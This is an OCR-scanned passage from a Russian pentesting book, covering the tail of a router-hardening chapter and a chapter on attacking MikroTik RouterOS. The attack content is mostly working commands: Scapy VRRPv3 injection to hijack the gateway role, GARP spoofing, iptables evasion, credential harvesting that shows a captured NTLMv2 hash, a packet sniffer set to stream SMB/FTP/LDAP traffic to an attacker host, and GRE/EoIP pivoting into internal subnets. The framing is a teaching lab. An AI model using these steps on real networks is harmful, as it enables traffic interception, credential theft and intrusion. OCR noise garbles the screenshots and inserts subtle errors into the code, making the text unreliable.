этого пропадет возможность проводить диагностику: пинги и traceroute работать не
будут. Во-вторых, система PMTUD перестанет работать, т. к. существует за счет
работы ICMP Туре 3. Благодаря PMTUD можно избежать избыточной фрагмента­
ции, а это, в свою очередь, влияет на скорость передачи данных.
Фильтруйте ICMP грамотно, отсекайте только нену~ные типы.
No Full Cone NAT
NA Тв сетях настраивают часто, однако тут есть несколько подвидов настроек: Full
Cone, Symmetric, Restricted и Port Restricted. Мы остановимся на первом варианте,
т. к. он вызывает больше всего проблем с безопасностью.
Глава б
154
При Full Cone NA Т входящие пакеты от любого внешнего хоста будут перенаправ­
ляться соответствующему хосту в локальной сети, если в таблице NAT присутству­
ет соответствующая запись. Более того, номер порта источника в этом случае не
имеет значения -
он может быть и 53, и 54, и вообще каким угодно, в этом виде
NA Т проверяется только порт назначения, адрес назначения и L4-протокол.
Если атакующий находится за NAT, он сможет проникнуть внутрь инфраструктуры
благодаря обычным статическим маршрутам сквозь пограничный роутер, т. к. из-за
особенностей Full Cone NA Т его трафик будет маршрутизирован внутрь.
No Port Forward
Проброс портов, на первый взгляд, кажется очень удобным решением, если нужно
быстро организовать устройству доступ в Интернет. Однако это негативно сказы­
вается на безопасности сети, т. к. проброшенный порт легко обнаружить, учитывая
скорость современных порт-сканеров. Если такое устройство будет взломано, то
атакующий сможет провести пивотинг внутрь инфраструктуры и эскалировать свое
присутствие в скомпрометированной сети.
Рекомендую отказаться от проброса портов и вместо этого использовать
VPN-
cepвep.
Защита от UРnР-инъекций
UPnP (Universal Plug and Play) -
группа протоколов, которые позволяют компью­
терам с помощью специальных запросов получать доступ в Интернет. Использова­
ние UPnP -
небезопасная практика, поскольку атакующий может найти порт UPnP
и с помощью специальных запросов открыть для себя доступ к хостам за погранич­
ным маршрутизатором (например, через Metasploit Framework).
Рекомендую отключить UPnP на сетевом оборудовании во избежание риска взлома
внешнего периметра.
Выводы
Несмотря на то что я сделал акцент на Cisco IOS, все эти механизмы защиты реали­
зованы у большинства вендоров сетевого оборудования. Применяйте эти техники
у себя, но будьте осторожны: с настройками безопасности часто есть шанс «вы­
стрелить себе в ногу» и нарушить нормальную работу сети.
ГЛАВА 7
ТТентестим
сетевое оборудование MikroTik
Это авторское исследование о безопасности оборудования MikroTik с точки зрения
атакующего.
Оборудование
MikroTik крайне
популярно и нередко становится
жертвой разных атак. Я сделаю акцент на постэксплуатации. Также затрону про­
блему безопасности защитных механизмов RouterOS, недостатками которых поль­
зуются атакующие.
Проблемы сетевой безопасности
У RouterOS есть несколько проблем сетевой безопасности. Давайте посмотрим, на
какие из них стоит обратить внимание в первую очередь.
DAI
RouterOS не в состоянии защитить сеть от ARP Spoofing за исключением использо­
вания режима reply-only в конфигурации bridge. По факту этот режим работы пред­
ставляет собой статическую АRР-таблицу, которую в корпоративных сетях вести
нерентабельно, т. к. при появлении каждого нового хоста придется заходить· на
устройство и заносить МАС и IP вручную. Способ действенный, однако малопри­
влекательный из-за больших неудобств. Поэтому, встретив оборудование MikroTik,
атакующий в большинстве случаев может не отказывать себе в АRР-спуфинге: ему
не
стоит
ожидать
внезапной
тревоги
ARP lnspection,
ведь
этого
механизма
в RouterOS, по сути, нет.
RA Guard
RA Guard представляет собой функцию безопасности, которая отсекает несанкцио­
нированные router advertisements внутри сети с целью предотвращения МIТМ-атак.
RA Guard полностью отсутствует в RouterOS и Switch OS, оборудованию абсолют­
но нечем ответить на популярный инструмент пентестеров mitmб. Единствен­
ный вариант, который остается, - фильтровать на уровне бриджа по МАС-адресам
назначения.
Глава 7
156
Почему у девайсов MikroTik нет таких важных функций безопасности -
непонят­
но. Такое ощущение, что их ПО застряло в девяностых.
Абьюэ DP
RouterOS по умолчанию выполняет рассылку Disсоvеrу-протоколов, которые могут
раскрыть
чувствительную
информацию
о
себе
потенциальному
атакующему.
В RouterOS активны три Discovery-пpoтoкoлa:
□ СОР (Cisco Discovery Protocol);
□
LLDP (Link Layer Discovery Protocol);
□ МNDP (MikroTik Neighbor Discovery Protocol).
Атакующий может получить чувствительную информацию в виде версии прошив­
ки, адресации, имени устройства, номера модели оборудования
MikroTik. Вектор
крайне специфический, однако все же может применяться (рис. 7. 1).
Рис. 7.1. Пример захваченного МNDР-трафика
Сnусринг в системе резервирования VRRPvЗ
VRRP (Virtual 'Router Redundancy Protocol) -
это протокол резервирования мар­
шрутизаторов на уровне LЗ, в его основе лежит принцип создания виртуального
маршрутизатора за счет объединения физических маршрутизаторов в одну логиче­
скую группу. Затем созданному виртуальному роутеру присваивается IР-адрес,
который, в свою очередь, назначается как шлюз по умолчанию для конечных стан­
ций.
Г]ентестим сетевое оборудование Mikro Тik
157
По своему опьпу скажу, что в RouterOS в большинстве случаев используется кон­
фигурация VRRPvЗ по умолчанию, администраторы в основном настраивают толь­
ко приоритет и номер группы, а версию и аутентификацию обычно не затрагивают.
Это и открывает дорогу для эксплуатации со стороны атакующего.
Ниже -
пример такой конфигурации по умолчанию (рис. 7.2).
New lnterface
Genera
VRRP
ISщ,ts
[!] Е3
gaius
Traffic
ок
Cancef
rterface: [
VRID: ,-,- - - - - - - - - - - - - - ,
:::=========================::::
:·========================::.~
_.oo_ _ _________~l s
Werval: :~11
Арр1у
Prioi'iy: l11IO
~ Preeщxion Моdе
DisaЬle
Commen
- A..theriic.m, - - - - - - - - - - - - -
Сору
Remove
r. none r simple r ah
..,
~-----------~
------Гi1
Version: З
~=======================:::::~
IC!:J
VЗ Protocol: l1Pv4
Password:
Too:h
jsiave
jenabled
Рис. 7.2. Конфиrурацмя VRRPvЗ по умолчанию
Спуфинг МАSТЕR-роли в VRRP приводит к МIТМ-атаке в отношении целой под­
сети , что может бьrrь очень критично во время пентеста. Становится возможным
перехват чувствительных данных, атака Evil Twin, даже Rеlау-атаки против сетей
Windows.
ТТеречисление инсрормации
Прежде чем использовать другие техники, нужно провести перечисление информа­
ции о домене VRRP. Нужны данные об используемом виртуальном адресе, наличии
аутентификации, номере группы VRRP и значении приоритета.
VRRP. В контексте домена VRRР-пакеты отправляет только
МАSТЕR-устройство (рис. 7.3).
Вот пример пакета
Здесь мы видим, что :
□ используется третья версия VRRP;
□ отсутствует аутентификация (типично для VRRPvЗ);
Глава 7
158
24 15.0196613 10.10 100.100
25 16. 0204245 ... 10. 10. 100 .100
27 17. 0215159 ... 10. 10. 100 .100
28 18. 0228001 ... 10 . 10. 100. 100
30 19. 0240394 ... 10 .10. 100. 100
31 20. 0254354 ... 10 .10 .100 . 100
33 21. 0256293 ... 10 . 10. 100 .100
36 22. 0272248 ... 10. 10 .100 .100
38 23. 0277909 ... 10 .10 .100 . 100
39 24. 0292825 ... 10. 10 .100 .100
41 25. 0306009 ... 10 .10. 100 .100
224.0.0, 18
224.0.0.18
224.0.0 . 18
224.0.0.18
224 . 0 . 0.18
224 . 0 . 0.18
224 .0. IЭ.18
224. 0 . 0 . 18
224 ..0 . 0.18
224 .0 . 0, 18
224 . 0. 0.18
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
VRRP
60 An110,inceшent
60 Announcement
60 Announcement
60 Announcement
60 Announcement
60 Announcement
60 Announcemen t
60 Announcement
60 Announcement
60 Announcement
60 Announcement
, Frame 24: 60 bytes on wire (480 bit s), 60 byte s capt11red (4 80 bit s ) 011 i11terf
, Ether11et II, Src: IETF-VRRP - VRID 01 (00:00:Se:00 :01:0 1), Ost: IPv4rвca st 12 (0
, Iritcr-r1et Protocol Vcrsior1 4, Src: 10.10 .100.100, Dst: 224.0.0.18
"V1rtuat Ro11ter Redtmdancy Protocol
. ve, s 1on з, Packet type 1 (Advertisen,ent)
0011 1; ... = VRRP protocol ve rs1on: 3
.... ·0001
VRRP packet type: Advertiseme 11 t (1)
Vнt ual Rtr IO: 1
Pr1or1ty: 190 (Non -defa111t back11p priority)
Addr Count: 1
0000
Reservcd: О
0000 0110 0100 = Adver Int: 100
Chccks11ni: 0х5293 [ co rrect]
[ Checks11n, Stat11s: Good 1
IP Address: 10.10.100.254
(VЗ)
(vЗ)
(v3)
(v3)
(V3)
(VЗ)
(V3)
(V3)
(V3)
(v3)
(V3)
01 00 5е 00 00 12 00 00
00 20 12 34 00 00 ff 70
00 12 31 01 Ье 01 00 64
00 00 00 00 00 00 00 00
Рис. 7.3. Захваченный VRRPvЗ-naкeт
□ номер группы VRRP □ приоритет -
1;
190.
Ин-ьекция
Главный аспект этой атаки -
инъекция вредоносного пакета VRRPvЗ с макси­
мальным значением приоритета. Есть даже такая практика безопасности, где реко­
мендуется ставить наивысший приоритет 255, однако для VRRP можно установить
такое значение максимум до 254, т. к. значение 255 уходит занимаемому мастеру.
После такой инъекции атакующий перехватывает роль MASTER и начинает сам
обслуживать трафик сети. Даже несмотря на то, что возникает MITM, нельзя нару­
шать нормальное функционирование сети, а поэтому придется поработать над схе­
мой маршрутизации на хосте атакующего.
В качестве лабораторного стенда выступает следующая сеть (рис. 7.4).
Саму инъекцию я сделал с помощью
Scapy, мне понадобился модуль scapy.
layers.vrrp для работы с протоколом VRRP. Пакет будет выглядеть примерно сле­
дующим образом. Оставлю акцент на значениях именно слоя VRRPvЗ. На самом
деле это част,ь кода. всего спуфера, функция inj ect принимает входные данные на
основе аргументов (я использовал библиотеку argparse).
def inject(interface, group, attackerip):
L2frame = Ether()
LЗpacket = IP(src=args.attackerip, dst="224.0.0.18", ttl=255)
vrrpvЗinj = VRRPvЗ(version=З, type=l, vrid=args.group, priority=255, ipcount=l,
addrlist=['l0.10.100.254'])
crafted = L2frame / LЗpacket / vrrpvЗinj
sendp(crafted, iface=args.interface, inter=l, loop=l, verbose=l)
Пентестим сетевое оборудование Mikro Тik
159
Рис. 7.4. Схема лабораторной сети с VRRPvЗ
Здесь:
□ type=l значит, что этот VRRР-пакет играет роль объявления Advertisement;
□ priority=255 -
□ ipcount=l -
максимальный приоритет для инъекции;
количество IР-адресов у МАSТЕR-устройства. Атакующий будет
владеть только одним IР-адресом;
□ addrlist= 1'10 .10 .100. 254' J указывает на то, каким IР-адресом будет владеть ата­
кующий при перехвате МАSТЕR-роли, оформляется в виде списка в коде на
Python;
□ inter=l -
пакет VRRPvЗ будет генерироваться каждую секунду, поскольку леги­
тимный девайс тоже отправляет их каждую секунду. Грубо говоря, это специ­
альные Неllо-сообщения, которые оповещают, что
MASTER в порядке и про­
должает свою работу. Однако, если в течение трех секунд сообщения не после­
дует, один из резервных роутеров заменит MASTER;
□ loop=l указывает на то, что пакет будет отправляться бесконечно.
GАRР-кадр
Когда роутеры меняются ролями, они отправляют специальные сообщения Gratuitous ARP, которые объявляют на весь VLAN, что возникла новая привязка IP и
МАС-адреса, специальная модификация АRР-кадра. Когда новое устройство стана-
Глава 7
160
вится MASTER, ему необходимо объявить это и на уровне ARP, с помощью GАRР­
рассылки. Атакующему тоже предстоит это сделать, чтобы избежать DoS. Для это­
го у меня есть инструмент Cruelty (https://github.com/casterbytethrowback/
Cruelty), который генерирует и отправляет необходимые кадры GARP.
caster@kali:-$ sudo pythonЗ Cruelty.py --interface ethX --mac ХХ:ХХ:ХХ:ХХ:ХХ:ХХ
--gateway Х.Х.Х.Х
Уклонение от трассировки
Со стороны пользовательского компьютера можно определить атакующего в тот
момент, когда он проводит трассировку. Атакующий может избежать этого, если
сместит ТТL с инкрементом + l в таблице Mangle и в цепочке PREROUТING.
caster@kali:~$ sudo iptaЬles -t mangle -А PREROUTING -i ethX -j TTL --ttl-inc 1
Проблема асимметричной маршрутизации
Во время МIТМ-атаки возникает асимметричная маршрутизация -
явление, при
котором трафик отправляется одним пуrем, а возвращается другим. Это может
привести к тому, что атакующий пропустит мимо себя другую половину трафика,
потенциально потеряв чувствительные данные. Чтобы решить эту проблему, необ-
Рис. 7.5. Прохождение трафика при асимметричной маршрутизации
Пентестим сетевое оборУдование Mikro Тik
ходимо специальное
правило МASQUERADE в таблице
161
NA Т,
в цепочке
POSTROUTING
(рис. 7 .5, 7 .6).
caster@kali:~$ sudo iptaЬles -t nat -А POSTROUTING -о ethX -j МASQUERADE
Рис. 7.6. Прохождение трафика после МASQUERADE на стороне атакующего
Маршрутизация
После инжекта необходимо заняться небольшим роутинr-менеджментом.
Сперва нужно удалить старый маршрут по умолчанию (для атакующего это бьm
10 .10 .100. 254). Так как атакующий стал новым МАSТЕR-маршрутизатором, мы владельцы этого виртуального адреса ( 10 .10 .100. 254), но при старом маршруте весь
трафик замыкается на нашей ОС, что без дополнительной мороки вызывает DoS на
легитимные хосты. Пропишем новый маршрут по умолчанию через 10.10.10.100 (это
бывший МАSТЕR-роутер ), но даже несмотря на то, что мы отжали у него роль
MASTER, он все равно сможет выполнить маршрутизацию трафика, куда нам
нужно.
caster@kali:~$ sudo route del default
caster@kali:~$ sudo route add -net О.О.О.О netmask О.О.О.О gw 10.10.100.100
Также надо создать на интерфейсе вторичный адрес со значением VRRP Virtual IP
Address (10.10.10.254). Опять же после атаки мы стали владельцами этого адреса.
caster@kali:~$ sudo ifconfig ethO:l 10.10.100.254 netmask 255.255.255.0
Глава 7
162
Импакт
После всех этих манипуляций атакующий воспроизводит МIТМ и может прослу­
шивать трафик внутреннего сегмента, в котором сам и находится . Облегчить поиск
учетных данных в трафике может инструмент Pcredz (рис. 7. 7):
caster@kali:~/mikrotiknightmare/Pcredz$ sudo pythonЗ Pcredz -i ethO
cas tera:,kali: -':ikr ,1t 1k111•.;t1tr·цrc/Pc 1·(:(IZ $ StJdo python3 Pcredz - i eth0
Pcredz 2. 0. 2
Author: Laurent Gaffie
Please send bugs/co,r,nents/pcaps to: laurent. gaff ie@gmail.com
This script wi!! extract NTLМ (HTTP,LDAP,SМB,MSSQL,RPC, etc), Kerberos,
FТР, НПР Basic and Cl'edit card data from а given рсар file or from а live inte1·face.
се rюmber
scanning activated
Pcredz !ive captur·e sta,·ted, using:et h0
Start ing t imes tamp ( 1689277496. 4589403) corresponds to 07 /13/23 22: 44: 56
protocol : tcp 10,10,100.26:50566 > 192 , 168.134 . 50:445
NТLMv2 comp1ete hash i s: с layn1ore: : WORKGROUP: 7бсс0682f5с3821а: D45CFEВBEEFB53165E239DE705BA61AB: 01010000000000003D
04800!, t,004 F005000 2D004C00 3 300 3800 320011F0032 004Е 0004001Е00440045005 3004 В0054 004 F0050002 D004(003 300 380032 004 f 003 200
000000000000000000000000000 f 09 3 5 f 8149019 53 ЕЕ В63САС 7Е6В9619 3M95018BD41A5 5А5 246СА2894А1 Еб5 F80A001000000000000 00000
Рис. 7.7. Перехваченный NetNTLMv2-SSP пользователя claymore
Также важно, чтобы ваше железо выдержало такую нагрузку: учитывайте мощно­
сти процессора и скорость интерфейса . Такой спуфинг приводит к тому, что весь
трафик подсети пойдет в вашу сторону. Также можете не бояться за чистоту этой
атаки. Когда вы прекратите VRRР-инъекцию, легитимные VRRP-poyтepы снова
проведут согласование и сеть вернется на круги своя. Да и Dead Timer в сетях
VRRP обычно очень маленький, сеть быстро восстановится, и будет назначен леги­
тимный MASTER.
RouterOS Traff ic Hijacking
Я покажу специфический вектор атаки при постэксплуатации, при котором ата­
кующий может перехватывать трафик внутри инфраструктуры , не влияя на нор­
мальную работу сети .
GreenDog - Easy Hack #196 (Caster Flip)
Исследователь безопасности Алексей Тюрин в своем релизе Easy Hack # 196
(https://xakep.ru/2015/06/21/easy-hack-l 96/) продемонстрировал технику перехвата
это по факту аналог
трафика с устройств Cisco с использованием SPAN. SPAN Packet Sniffer в RouterOS и выполняет те же функции, однако при настройке клас-
Пентестим сетевое оборудование Mikro Тik
163
сического SP AN на коммутаторе порт перестает работать в обычном режиме, из-за
чего у атакующего теряется связность с сетью. Решение проблемы -
использовать
ERSPAN, который позволяет не только зеркалировать трафик, но и отправлять его
куда угодно поверх GRЕ-инкапсуляции (Ох88ВЕ). Однако ERSPAN доступен только
на оборудовании Cisco и в Linнx (рис. 7.8).
Снифим трафик с Сisсо-свича
Теперь немно11,ко о свич~к. Ка, быпо у.+<е сказано зеркапирование трафика -
это
возможность изначально своисп1е1<ная именно сеичам Официальное название -
SPAN
(Sw,rche<' Ро11 Analyzer). Но здесь хотя суть та же (Трафик с одного интерфеиса
перекидывается на друrои ). реал и уется но иначе Свич не nроизвсдит никаких подмен
значении заголовков ни канального ни сетевого. ни других уровней в пакетах. Они в
неизмененном виде копируются >1а е1,.,е '>дин сетевси интерфеис.
В SPAN есть два основных терм11на source dest,natlon - куда копируется трафик
ин
r,фейсы откуда копируется трафик. и
Реализуется э о та кои , ос,'едоватепьнос;сью·
Входим в конфигурационный ре11,им
J
Указываем ~акои откуда траФ11r прослушивать·
Указываем, куда его пересыпать
Здесь таМ<е ук.э ан н ,мер ,е с и
н
ь уетrя дл~ грусn11ровки source и destination. что
позволяет нам nроспушива·ь сра,у не·копько 0 орт
в
L
Рис. 7.8. Описание этой техники от GreenDog
Но я нашел такой же вектор против RoнteгOS. Я буду использовать Packet Sniffer,
который
может
выполнять
зеркалирование
трафика
с
любых
интерфейсов
RoнterOS. Импакт здесь в том, что атакующий может прослушать чувствительную
информацию, передаваемую внутри сети (например,
SMB, FTP, LDAP). Развить
атаку можно откуда угодно: зеркалированный трафик все равно сможет достичь
хоста атакующего, т. к. используется ТZSР-инкапсуляция, т. е. зеркалированный
трафик может передаваться поверх соединений LЗ.
ТZSP
TZSP (Tazmen Sniffer Protocol) -
сетевой протокол инкапсуляции, который может
заворачивать в себя другие сетевые протоколы. грубо говоря -
обрамляет полез­
ную нагрузку. Обычно используется в сетях 802.11, может работать с IDS. TZSP
Глава 7
164
использует для инкапсуляции протокол UDP, значит, не исключены потери. TZSP
способен инкапсулировать сетевой трафик, начиная с уровня L2, т. е. может пере­
давать Еthеmеt-фреймы.
Вот небольшой пример инкапсулированного FТР-трафика с TZSP (рис. 7.9).
Frame 273: 129 bytes оп wire (1032 bits), 129 bytes captured (1032 bits) оп interface eth0, id 0
Ethernet II, sгс: 50 :00:00:02:00:00 (50:00:00:02:00:00), Dst: Nexocomm_00:09:00 (00:50:00:00:09:00)
Internet Protocol version 4, sгс: 10.10. 100.200, Dst: 10.10.100.90
user Datagram Protocol, Src Port: 58508, Dst Port: 37008
:;;.тщ·: Et erne
Version: 1
Туре: Received packet (0)
Encapsulation: Ethernet (1)
• End
Ethernet II, src: 50:00:00:01:00:00 (50:00:00:01:00:00), Ost: 50:00:00:02:00:00 (50:00:00:02:00:00)
Internet Protocol Version 4, Src: 10.10.100.26, Dst: 172.20 . 20.253
тransmission Control Protocol, src Port: 56226, Dst Port: 21, Seq: 1, Ack: 21, Len: 16
File тransfer Protoco\ (FTP)
, USER gearshift\r\n
[Curгent working directory: ]
Рис. 7.9. FТР-трафик под ТZSР-инкапсуляцией
Packet Sniffer из RouterOS как раз-таки и использует TZSP для инкапсуляции по­
лезной нагрузки. Именно благодаря этому зеркалированный трафик может переда­
ваться поверх LЗ-соединений.
Угон трасрика
Для такой атаки злоумышленник должен определить следующие параметры:
□ IР-адрес streaming-cepвepa, куда будет поступать зеркалированный трафик;
□ целевые интерфейсы, с которых будет проводиться зеркалирование;
□ номер порта того протокола, которым интересуется атакующий.
Я для примера рассматриваю сценарий, при котором атакующий перехватывает
трафик со всех интерфейсов, но только трафик протоколов SMB, 'FTP, LDAP. При
этом, конечно, желательно зеркалировать трафик, т. к., если зеркалировать все под­
ряд, это может создать большую нагрузку на сеть, и та может выйти из строя.
Конфигурация Packet Sniffer будет выглядеть следующим образом:
[caster@MikroTikNightmare] /tool/sniffer> set streaming-enaЬled=yes filter-stream=yes
streaming-server=l0.10.100.90 filter-interface=all filter-port=ftp,smЬ,ldap
[caster@MikroTikNightmare] /tool/sniffer> start
Здесь 10.10.100. 90 -
IР-адрес атакующего хоста. Трафик будет зеркалироваться со
всех интерфейсов, зеркалируются только SMB, FTP и LDAP (рис. 7.10).
165
Пентестим сетевое оборудование Mikro Тik
Рис. 7.10. Схема зеркалирования
Обработка ТZSР-эаголовков
После запуска сниффера зеркалируемый трафик будет поступать на интерфейс ата­
кующего хоста, однако трафик необходимо обработать, срезать ТZSР-заголовки,
поскольку нужды в них больше нет, и они могут доставить хлопот.
Для этого есть инструмент tzsp2pcap. Он позволяет удалять ТZSР-заголовки и экс­
портировать трафик в формате рсар.
В данном примере я буду использовать
Wireshark, в котором внедрю полученный трафик без заголовков TZSP:
caster@kali:~$ tzsp2pcap -f I wireshark -k -i Для демонстрации я инициировал подключение по FTP, чтобы проверить работо­
способность такого вектора. Итог -
на скриншоте (рис. 7.11 ).
Таким образом атакующий может перехватывать трафик внутри инфраструктуры,
при этом не создавая избыточный хоп. Снова довольно специфический вектор, но
он имеет право на существование.
Глава 7
166
ll p
№,
111111
1 О (J,IHHI 1
11 2. 867720
15 2. 918684
19 4.094809
23 4 . 280623
27 4. 285633
31 4. 324421
33 4. 326978
35 4. 335487
37 4. 356950
39 4.377420
414 . 379420
~3 4. 383134
45 4, 384763
47 4. 386380
.
,,ш,,
1 /;1 10 ?О ?51
10, 10 .100. 26
172. 20. 20. 253
10 . 10 .100. 26
172 . 20.20 , 253
10.10.100 . 26
172. 20 . 20. 253
10.10. 100. 26
172 . 20. 20. 253
172. 20. 20. 253
172 .20. 20. 253
172 . 20. 20. 253
1'72. 28. 20. 253
172. 20. 20. 253
172. 20. 20 . 253
Г>~ '.t lf1.:itнm
Prul o(ol
HJ.10 100 26
172 . 20.20.253
10.10.100.26
172 . 20.20.253
10.10.100.26
172 . 20 . 20.253
10 . 10.100,26
112 . 21:1.20 . 253
10.10.100.26
10.10.100.26
10,10.100.26
10.10.100. 26
10.10. 100 . 26
10.10 . 100. 26
10.10.100. 26
FГР
FТР
FТР
FТР
ПР
ПР
ПР
ПР
ПР
FТР
ПР
ПР
ПР
FТР
FТР
lt•11qll1 lr1fo
86 Respo11se: 220 (VSFТPd З.0 З)
82 Request : USER gearshHt
100 Response: 331 Please specify the password .
77 Request : PASS lies
89 Response: 230 Login successrut.
72 Request : SYST
85 Response: 215 UNIX Туре : L8
72 Request : FEAT
81 Response : 21l•Features:
80 Response : EPRT
80 Response : MDTM
. 80 Response : REST STREAМ
73 Response : SIZE
73 Response : тv~s
75 Response : 211 End
Frame 7: 86 bytes 011 wire (688 bits), 86 bytes captured (688 ~ts) оп interfa сооо
(~ (-) 11-J
Etherпet II, Src : Nexocomm 00:08 : 00 ( 00 : 50 : 00 : 00 :08: 00), Dst : 50 :00: 00 :02 :00 :
(:)(-)/0
Iriternet Protocot Ver s1 on 4, s rc: 17 2. 20 .20.253, Ost: 10 .10 .100. 26
Tr an smi s s1on Control Protoc ol, Src Port : 21 , Ost Port: 50446, seq : 1 , Ac k: 1 , (·)(НО
{().\(\
Fi le Tran s fer Protocol (ПР)
с;:)')()
[Current working dir ectory : ]
50 1:10 00 02 00 02 00 50
00 48 le 71 40 00 40 06
64 la 00 15 с5 0е 66 ба
01 fe 88 5f 00 00 01 01
dб 02 32 32 30 20 28 76
30 2е 33 29 0d 0а
Рис. 7.11. Проверяем работоспособность
RouterOS Pivoting
Настало время поговорить о пивотинге сквозь RouterOS. Это вектор постэксплуа­
тации, при котором атакующий может пробиться внутрь инфраструктуры.
LЗ GRE VPN
Один из вариантов для пивотинга -
исrюльзовать протокол GRE.
Это протокол туннелирования L4, который позволяет быстро организовать соеди­
нения
site-to-site VPN. Получил известность благодаря тому, что настраивается
быстро и очень просто. Разработан инженерами Cisco Systems, однако поддержива­
ется любым вендором. По умолчанию GRE не предоставляет функций для шифро­
вания трафика внутри туннеля. Поэтому если он и используется в продакшене, то,
скорее всего, с группой протоколов IPSec.
При постэксплуатации
RouterOS атакующий может воспользоваться GRЕ-тунне­
лированием, чтобы попасть внутрь инфраструктуры. Этот сценарий работает имен­
но с пограничным маршрутизатором.
Примерно так будет выглядеть карта пивотинга. Атакующий должен установить
GRЕ-туннель между своей нодой и
RouterOS, затем на логических интерфейсах
необходимо настроить внутренние IР-адреса для сетевой связности. Затем, после
перечисления таблицы маршрутизации, атакующий может создать специальные
маршруты, ведущие внутрь инфраструктуры, и при этом шлюзом для таких мар­
шрутов будет выступать другая сторона GRЕ-туннеля (рис. 7.12) .
Пентестим сетевое оборудование M,kro Тik
167
Рис . 7.12. GRE между атакующим и RouterOS
А это пример инкапсулированной полезной нагрузки. Здесь атакующий проводит
IСМР-сканирование внутренней сети 10. 10 . 160.0/2 4 поверх GRЕ-туннеля . Тут мож­
но увидеть GRЕ-инкапсуляцию с внутренним 1Рv4-заголовком
ICMP. Однако по
факту здесь присутствуют два загол овка IP\'4. Почему? Потому что первый 1Рv4заголовок с белыми IР-адресами -
это пакет-курьер . Он позволяет достичь адреса­
та, находящегося во внутренней сети. То есть главная задача этого заголовка в том,
чтобы полезная нагрузка из внутренней сети дошла до адресата через Интернет.
В терминологии
GRE такой заголовок называется Delivery Header. Для каждого
протокола-пассажира присутствует специальный Protocol Туре, для IPv4 это значе­
ние равно Ох08 ОО (рис . 7.13).
Настройка на стороне атакующего будет выглядеть следующим образом. Создание
GRЕ-интерфейса, настройка адресов начала и терминирования туннеля и сама
активация интерфейса с внутренней IР-адресацией.
5418.4558Jt:16 1s 1в.1е.1
55 18. 4558765 10 18 18 1
1е. 1е 1е 1
sв 1е. 4559199
57 18. 7664802 rево 200 ье.,.е
1е. 1,
2
sa 1е. 7бб48G7
1е
5918.9445078
6819.4613755
teee. ·2se rt re
10 18.18.1
6119.4631310 10.18 18 1
&219.4637874 1s.1e.10.1
td-ex9bed, seq-e/e, tt t =42
(по
response f'ound 1)
1d ехЗ5d7 , seq::&/8, t t \:43 ( по response round ! )
1d=8x.6cJ56, seq=e/e, tt t=46 (м response round 1)
t t 1.=51 (по response round 1)
tt t=SS (по response round 1)
tt1.=58 (по response roundl)
t t t = З7 (no response found 1)
Рис . 7.1 З . I С МР -сканирован и е в н утри GRЕ-туннеля
Глава 7
168
caster@kali:~$ sudo ip link add name evilgre type gre local 212.100.144.150
renюte 100.132.55.140
caster@kali:~$ sudo ip addr add 10.10.10.1/24 dev evilgre
caster@kali:~$ sudo ip link set evilgre up
Настройка RouterOS тоже не вь_,зывает проблем -
тот же принцип, отличия лишь
в синтаксисе:
[pwned@BORDER] > /interface/gre add narne=grel local-address=l00.132.55.140
renюte-address=212.100.144.150
[pwned@BORDER] > /ip/address add address=l0.10.10.2/24 interface=grel
После установки туннеля атакующий должен создать специальные маршруты
сквозь
RouterOS, а именно через 10 .10 .10. 2. В контексте нашего лабораторного
стенда за пограничным RouterOS находятся три подсети:
□
10.10.120.0/24;
□
10.10.140.0/24;
□
10.10.160.0/24.
caster@kali:~$ sudo route add -net 10.10.120.0 netmask 255.255.255.0 gw 10.10.10.2
caster@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 10.10.10.2
caster@kali:~$ sudo route add -net 10.10.160.0 netmask 255.255.255.0 gw 10.10.10.2
Теперь атакующий может взаимодействовать с внутренней инфраструК1)'рой и
расширять свое присутствие в сети цели. Вот пример Nmар-сканирования против
сети 10.10.140.0/24 (рис. 7.14):
caster@kali:~$ sudo nrnap -n 10.10.140.0/24 -vvv
На самом деле это не последний вектор туннелирования. Есть еще EoIP (Ethemet
over IP), он позволяет транслировать Еthеmеt-фреймы внутри GRE, а это вектор для
L2-туннелирования.
L2 EoIP VPN
Эго специфический вектор, при котором атакующий строит L2-туннель сквозь
скомпрометированную RouterOS между своим хостом и находящейся по ту сторону
сетью.
EoIP (Ethemet over IP) -
это проприетарный протокол
MikroTik, позволяющий
строить L2-туннели поверх Интернета, но для этого используется GRЕ-инкап­
суляция. По фаК1)' EoJP -
это абсолютно то же самое, что и GRET АР-интерфейсы
на Linux, различия лишь в Proto Туре (для
EoIP в GRE это значение Ох6400, для
GRЕТАР-туннелей- Охб558).
При постэксплуатации RouterOS атакующий может построить L2-туннель между
собой и целевым бриджем с помощью EoIP, однако для работы EoIP в дистрибути­
вах Linux нужен модуль eoip (https://github.com/katlogic/eoip). Атакующему доста­
точно создать ЕоIР-интерфейс в
RouterOS, затем поместить его внутрь бриджа
(в 90% случаев в конфигурациях RouterOS используются бриджи).
Пентестим сетевое обоеrдование Mikro Тik
169
caster@ka li: ~
Discovered open po1·t 1812/tcp on 10.10.140.5
Discovered open port 3371/tcp on 10.10.140.5
Discovered open port 3030/tcp on 10.10.140.5
Discovered open port 8651/tcp on 10 .10 .140. 5
Discovered open port 617/tcp on 10 . 10.140 . 5
Discovered open port 7019/tcp on 10.10.140.5
Discovered open port 9593/tcp on 10 .10 .140. 5
Discovered open port 1761/tcp on 10.10.140.5
Discovered open port 20/tcp on 10 .10 . 140. 5
Discovered open port 1287/tcp on 10,10.140 . 5
Di scovered open po1·t 9102/tcp on 10 .10 .140. 5
Discovered open port 32769/tcp on 10 . 10.140.5
Discovered open port 1244/tcp on 10.10.140 . 5
Di scovered open port 2065/tcp on 10 . 10.140.5
Di scovered open port 4343/tcp on 10.10.140.5
Discovered open port 9929/tcp on 10.10.140.5
Discover·ed open port 6502/tcp on 10.10.140.5
Discovered open port 1998/tcp on 10.10.140.5
Discovered ореп port 1030/tcp оп 10.10.140.5
Discovered open port 9418/tcp оп 10 .10 .140. 5
Discove1·ed ореп port 82/tcp оп 10.10.140.5
Discovered ореп port 8090/tcp оп 10.10.140.5
Discovered open port 2525/tcp оп 10. 10. 140. 5
Discovered ореп port 1149/tcp оп 10.10.140.5
Discovered ореп port 49163/tcp оп 10.10.140.5
Discovered ореп port 8000/tcp оп 10.10.140.5
Discovered open port 1417/tcp оп 10.10.140.5
Discovered ореп port 49/tcp оп 10 .10 .140. 5
Di scovered ореп port 18101/tcp оп 10 .10 .140. 5
Discovered ореп port 3766/tcp оп 10 .10 .140. 5
Discovered ореп port 49152/tcp on 10.10.140.5
Discovered ореп port 16113/tcp оп 10.10.140.5
